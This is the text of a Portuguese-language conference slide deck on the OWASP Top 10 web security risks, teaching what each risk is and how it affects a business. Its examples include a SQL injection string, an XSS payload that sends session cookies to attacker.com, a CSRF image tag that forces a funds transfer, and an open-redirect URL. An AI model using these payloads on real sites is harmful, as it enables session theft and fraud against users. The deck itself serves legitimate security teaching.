Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Segurança em Aplicações Web conforme OWASP
1. Segurança em aplicações web
bit.ly/owasp-fisl14
1
Segurança em
Aplicações Web
conforme
Fabiano Castro Pereira – fabianocp@gmail.com
Apresentação disponível em http://bit.ly/owasp-fisl14
2. Segurança em aplicações web
bit.ly/owasp-fisl14
2
OWASP – Open Web Application Security Project
Comunidade aberta – www.owasp.org
Ajudar a desenvolver/comprar/manter software seguro:
Ferramentas e padrões abertos
Livros gratuitos: desenvolvimento/testes/revisão seguros
Bibliotecas e controles de segurança
Realização de eventos
Listas de e-mail
Sem pressões comerciais
Fundação OWASP
3. Segurança em aplicações web
bit.ly/owasp-fisl14
3
OWASP - Projeto Top 10
Objetivo
Problemas relativamente simples são intoleráveis
Alertar sobre segurança de aplicativos web
Apresentar os riscos críticos (entenda-se $$$) mais comuns
Versões
2003 (pequenas atualizações em 2004 e 2007)
2010 (priorização feita de acordo com riscos)
2013 (versão final liberada 12 de junho)
Mobile Security Project (em desenvolvimento)
4. Segurança em aplicações web
bit.ly/owasp-fisl14
4
OWASP - Projeto Top 10
Atenção!!!
OWASP Top 10 não é checklist
É apenas o começo, é preciso criar um programa amplo para
implantar uma cultura de segurança nas aplicações
Think as an abuser!!! (pense como um aproveitador)
Oportunidades
Aprender com os erros dos outros
Executivos: gerenciem os riscos inerentes às aplicações
owasp-topten@lists.owasp.org
5. Segurança em aplicações web
bit.ly/owasp-fisl14
5
Projeto Top 10 - Números
Baseado em 8 datasets de 7 empresas especializadas
4 empresas de consultoria em segurança
3 empresas que produzem ferramentas de segurança
Totalizando 500.000 registros de vulnerabilidades em
Centenas de organizações
Milhares de aplicações
Escolha do Top 10
Selecionados e priorizados via avaliação destes milhares de
dados, e a partir de estimativas obtidas via consenso
7. Segurança em aplicações web
bit.ly/owasp-fisl14
7
Riscos de Segurança para Aplicações
OWASP Risk Rating Methodology – Elementos do risco
Agentes de ameaça
Depende da aplicação, cada organização deve avaliar e
identificar os agentes que podem lhe oferecer ameaça
Explorabilidade: Fácil / Média / Difícil
Qual é a facilidade de se explorar a fraqueza associada a
determinado risco?
Prevalência: Largamente difundida / Comum / Incomum
É comum encontrar a fraqueza associada ao risco?
8. Segurança em aplicações web
bit.ly/owasp-fisl14
8
Riscos de Segurança para Aplicações
OWASP Risk Rating Methodology – Elementos do risco
Detectabilidade: Fácil / Média / Difícil
É fácil detectar a fraqueza associada ao risco?
Impactos técnicos: Grave / Moderado / Menor
Qual o impacto técnico caso a fraqueza associada a
determinado risco seja explorada?
Impactos no negócio
Depende da aplicação e do negócio da organização, que deve
avaliar e identificar os impactos
9. Segurança em aplicações web
bit.ly/owasp-fisl14
9
A1 - Injeção
Elementos do risco
Agente de ameaça
Qualquer um que possa enviar dados não confiáveis
Explorabilidade: Fácil
Ataque realizado com texto forjado de forma específica
Praticamente qualquer fonte de dados pode ser atacada
Prevalência: Comum
Encontrado em: consultas SQL, LDAP, Xpath, ou NoSQL;
comandos de SO; parsers XML, cabeçalhos SMTP, argumentos
de programas, etc.
10. Segurança em aplicações web
bit.ly/owasp-fisl14
10
A1 - Injeção
Elementos do risco
Detectabilidade: Média
Fácil de encontrar no código-fonte, mas difícil via teste
Ferramentas tipo Scanners e fuzzers ajudam os atacantes
Impacto: Grave
Pode resultar em: perda ou corrupção de dados; negação de
serviço; invasão total de um servidor.
Impactos no negócio
Como ficaria a reputação da empresa se todos de clientes
fossem roubados, modificados ou excluídos?
11. Segurança em aplicações web
bit.ly/owasp-fisl14
11
A1 - Injeção
Exemplo (SQL Injection)
Aplicação usa dados não confiáveis:
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
Atacante modifica o parâmetro no browser
http://app.com/app/accountView?id=' or '1'='1
12. Segurança em aplicações web
bit.ly/owasp-fisl14
12
A2 - Falha de Autenticação e de
Gerenciamento de Sessão
Elementos do risco
Agente de ameaça
Qualquer um (anônimo ou possuidor de conta) que queira
acessar indevidamente uma conta de usuário na aplicação
Explorabilidade: Média
Ataque utiliza falhas nas funções (contas expostas, senhas, ID
de sessão) para se passar por determinado usuário
Prevalência: Largamente difundida
Encontrado em sistemas que construíram seus próprios
mecanismos de autenticação
13. Segurança em aplicações web
bit.ly/owasp-fisl14
13
A2 - Falha de Autenticação e de
Gerenciamento de Sessão
Elementos do risco
Detectabilidade: Média
Encontrar esta falha pode ser difícil, pois depende de uma
análise da implementação específica
Impacto: Grave
O atacante pode fazer tudo que a conta atacada tem
permissão para fazer
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
14. Segurança em aplicações web
bit.ly/owasp-fisl14
14
A2 - Falha de Autenticação e de
Gerenciamento de Sessão
Exemplo
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Se o link for enviado para alguém, a sessão completa do
estará indo junto, dando acesso a dados sensíveis
15. Segurança em aplicações web
bit.ly/owasp-fisl14
15
A3 - Injeção de scripts via outros sites
(Cross-Site Scripting - XSS)
Elementos do risco
Agente de ameaça
Qualquer um que possa enviar dados não confiáveis
Explorabilidade: Média
Ataque realizado com texto forjado de forma específica
Praticamente qualquer fonte de dados pode ser atacada
Prevalência: Muito largamente difundida
Ocorre quando se exibe em uma página dados fornecidos pelo
usuário, sem que se faça o correto tratamento
16. Segurança em aplicações web
bit.ly/owasp-fisl14
16
A3 - Injeção de scripts via outros sites
(Cross-Site Scripting - XSS)
Elementos do risco
Detectabilidade: Fácil
Falha pode ser encontrada via análise de código, ou via testes
Impacto: Moderado
Ataque pode executar scripts no navegador para: obter
sessões, manchar sites, instalar malware no navegador, etc.
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
17. Segurança em aplicações web
bit.ly/owasp-fisl14
17
A3 - Injeção de scripts via outros sites
(Cross-Site Scripting - XSS)
Exemplo
Aplicação usa dados não validados para construir a página:
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC") + "'>";
Atacante modifica o parâmetro CC:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
18. Segurança em aplicações web
bit.ly/owasp-fisl14
18
A4 - Referência direta e insegura para objeto
Elementos do risco
Agente de ameaça
Usuários que tem acesso parcial a dados do sistema
Explorabilidade: Fácil
Basta alterar um parâmetro que faça referência direta a um
objeto do sistema
Prevalência: Comum
Aplicações web geralmente usam nomes os identificadores
para fazer referência aos objetos
Falham em verificar a autorização do acesso
19. Segurança em aplicações web
bit.ly/owasp-fisl14
19
A4 - Referência direta e insegura para objeto
Elementos do risco
Detectabilidade: Fácil
Falha pode ser encontrada via análise de código, ou via testes
Impacto: Moderado
Comprometimento dos dados acessados pela referência
insegura, exceto se não houver como predizer os valores
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
20. Segurança em aplicações web
bit.ly/owasp-fisl14
20
A4 - Referência direta e insegura para objeto
Exemplo
Aplicação usa dados não validados para construir a página:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
Atacante modifica o parâmetro acct:
http://example.com/app/accountInfo?acct=notmyacct
21. Segurança em aplicações web
bit.ly/owasp-fisl14
21
A5 - Configurações mal feitas de segurança
Elementos do risco
Agente de ameaça
Atacantes anônimos, autenticados, ou internos
Explorabilidade: Fácil
Contas padrão, páginas sem uso, falhas sem patch, arquivos e
diretórios desprotegidos, etc.
Prevalência: Comum
Pode ocorrer em vários níveis: plataforma, servidor web ou
aplicação, BD, framework, código customizado
22. Segurança em aplicações web
bit.ly/owasp-fisl14
22
A5 - Configurações mal feitas de segurança
Elementos do risco
Detectabilidade: Fácil
Podem ser encontradas com scanners automatizados
Impacto: Moderado
Acesso a dados e funcionalidades não autorizadas
Pode resultar em comprometimento total do sistema
Impactos no negócio
Dados roubados ou modificados
Recuperação pode ser muito custosa
23. Segurança em aplicações web
bit.ly/owasp-fisl14
23
A5 - Configurações mal feitas de segurança
Exemplos
Console administrativo do servidor de aplicação deixado com
usuário e senha padrão
Servidor web com listagem de diretório ativada
desnecessariamente
Exibição de stack traces no servidor de aplicação
Servidor de aplicação mantido com aplicativos de exemplo
24. Segurança em aplicações web
bit.ly/owasp-fisl14
24
A6 - Exposição de dados sensíveis
Elementos do risco
Agente de ameaça
Qualquer um com interesse nos dados, estejam eles no
servidor, sendo transmitidos, ou no navegador
Explorabilidade: Difícil
Atacantes não tentam quebrar criptografia, mas roubar
chaves, ou obter os dados diretamente do servidor
Prevalência: Incomum
Ocorrências: falta de criptografia, chaves fracas, chaves mal
gerenciadas, algoritmos de segurança obsoletos
25. Segurança em aplicações web
bit.ly/owasp-fisl14
25
A6 - Exposição de dados sensíveis
Elementos do risco
Detectabilidade: Média
Navegador: falha fácil de detectar, não de explorar (larga escala)
Falhas no servidor: difíceis de detectar devido ao acesso limitado
Impacto: Grave
Acesso a dados sensíveis: registros médicos, credenciais, dados pessoais,
cartões de crédito, etc.
Impactos no negócio
Quais são as penalidades legais aplicáveis à organização por ter exposto
estes dados (mesmo involuntariamente)?
26. Segurança em aplicações web
bit.ly/owasp-fisl14
26
A6 - Exposição de dados sensíveis
Exemplos de ações inadequadas
Usar criptografia automática do BD
Armazenamento feito de forma segura
Mas a leitura está sujeita à injeção de SQL
Esquecer de utilizar SSL para comunicação
Esquecer de “salgar” as senhas dos usuários
Salted password hashes
27. Segurança em aplicações web
bit.ly/owasp-fisl14
27
A7 - Ausência de controle de acesso
no nível de função
Elementos do risco
Agente de ameaça
Qualquer um com interesse nos dados
Explorabilidade: Fácil
Alterar URL ou parâmetro que dê acesso à funções privadas
(atacante anônimo) ou privilegiadas (atacante autenticado)
Prevalência: Comum
Geralmente falta controle de acesso, e quando existe, está
mal configurado, ou se esqueceu de colocá-lo no código
28. Segurança em aplicações web
bit.ly/owasp-fisl14
28
A7 - Ausência de controle de acesso
no nível de função
Elementos do risco
Detectabilidade: Média
A detecção é fácil, a parte mais difícil é identificar todas as
possíveis páginas (URLs) e funções atacáveis
Impacto: Moderado
Acesso a funções não autorizadas, principalmente se forem
funções administrativas
Impactos no negócio
Valor dos dados obtidos
Exposição pública da vulnerabilidade na organização
29. Segurança em aplicações web
bit.ly/owasp-fisl14
29
A7 - Ausência de controle de acesso
no nível de função
Exemplos
Função para usuário comum
http://example.com/app/getappInfo
Função para administradores
http://example.com/app/admin_getappInfo
Se não houver o controle de acesso, as funções
administrativas serão acessadas indevidamente
30. Segurança em aplicações web
bit.ly/owasp-fisl14
30
A8 - Requisições forjadas via outros sites
(Cross-Site Request Forgery - CSRF)
Elementos do risco
Agente de ameaça
Alguém que deseja forçar um usuário da aplicação a realizar
determinada ação que beneficie o atacante
Explorabilidade: Média
Atacante forja a requisição e engana o usuário, fazendo-o
enviá-la para a aplicação à partir de outro local
Prevalência: Comum
Sites que o atacante pode inferir os dados necessários
Navegadores enviam os cookies de sessão automaticamente
31. Segurança em aplicações web
bit.ly/owasp-fisl14
31
A8 - Requisições forjadas via outros sites
(Cross-Site Request Forgery - CSRF)
Elementos do risco
Detectabilidade: Fácil
A detecção é fácil, podendo ser feita tanto via testes de
intrusão, quanto via análise de código
Impacto: Moderado
Pode resultar em: alteração de contas, realização de compras,
e qualquer outra função existente na aplicação
Impactos no negócio
Imagine se não houver como ter certeza das ações do usuário
Usuários reclamando de operações que eles não realizaram
32. Segurança em aplicações web
bit.ly/owasp-fisl14
32
A8 - Requisições forjadas via outros sites
(Cross-Site Request Forgery - CSRF)
Exemplos
Funcionalidade normal disponível na aplicação:
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
Requisição forjada pelo atacante:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />
33. Segurança em aplicações web
bit.ly/owasp-fisl14
33
A9 - Uso de componentes
com vulnerabilidades conhecidas
Elementos do risco
Agente de ameaça
Interessados especificamente em determinada aplicação,
dispostos a gastar tempo investigando as possibilidades
Explorabilidade: Média
Atacante usa procedimento manual, ou ferramentas de scan
automático, para então customizar seu exploit
Prevalência: Largamente difundida
Muitos desenvolvedores não atualizam componentes, e às
vezes nem sabem quais que são utilizados
34. Segurança em aplicações web
bit.ly/owasp-fisl14
34
A9 - Uso de componentes
com vulnerabilidades conhecidas
Elementos do risco
Detectabilidade: Difícil
A detecção é difícil, pois envolve análise minuciosa
Dependência entre componentes só piora as coisas
Impacto: Moderado
Pode servir de ponto de entrada para as outras fraquezas
Impacto pode ir de zero até o comprometimento total
Impactos no negócio
Será de acordo com a fraqueza explorada
35. Segurança em aplicações web
bit.ly/owasp-fisl14
35
A9 - Uso de componentes
com vulnerabilidades conhecidas
Exemplos (com 22 milhões de downloads em 2011)
Apache CXF Authentication Bypass (CVE-2012-3451)
Framework de serviços web
Não fornecia token de identidade, permitindo a atacantes
executar qualquer serviço com total permissão
Spring Remote Code Execution (Infosecurity Magazine)
Problemas na implementação de Expression Language (EL)
Permitia execução de código arbitrário, chegando a
comprometer completamente o servidor
36. Segurança em aplicações web
bit.ly/owasp-fisl14
36
A10 - Redirecionamentos e
encaminhamentos não validados
Elementos do risco
Agente de ameaça
Alguém que deseja forçar um usuário da aplicação a realizar
determinada ação que beneficie o atacante
Explorabilidade: Média
Atacante cria um link válido, mas direto, sem antes passar
pelo redirecionamento ou encaminhamento necessário
Prevalência: Incomum
Destinos definidos via parâmetro sem validação
37. Segurança em aplicações web
bit.ly/owasp-fisl14
37
A10 - Redirecionamentos e
encaminhamentos não validados
Elementos do risco
Detectabilidade: Fácil
Redirecionamentos não validados são fáceis de se detectar,
porém os encaminhamentos são mais difíceis
Impacto: Moderado
Atacante pode: instalar malware, obter senhas ou outras
informações sensíveis, burlar controle de acesso
Impactos no negócio
Perda da confiança dos usuários
O que aconteceria se atacantes acessassem dados internos?
38. Segurança em aplicações web
bit.ly/owasp-fisl14
38
A10 - Redirecionamentos e
encaminhamentos não validados
Exemplos
Redirecionamento malicioso
http://www.example.com/redirect.jsp?url=evil.com
Encaminhamento malicioso
http://www.example.com/boring.jsp?fwd=admin.jsp
39. Segurança em aplicações web
bit.ly/owasp-fisl14
39
Tem mais coisa no Top 10
Ajuda
Como verificar se minha aplicação é vulnerável?
Como posso prevenir a ocorrência dos riscos?
Referências para mais informações
O que vem depois
Para desenvolvedores
Para verificadores (vai além de testes)
Para organizações
40. Segurança em aplicações web
bit.ly/owasp-fisl14
40
Fabiano Castro Pereira – fabianocp@gmail.com
Apresentação disponível em http://bit.ly/owasp-fisl14
Perguntas?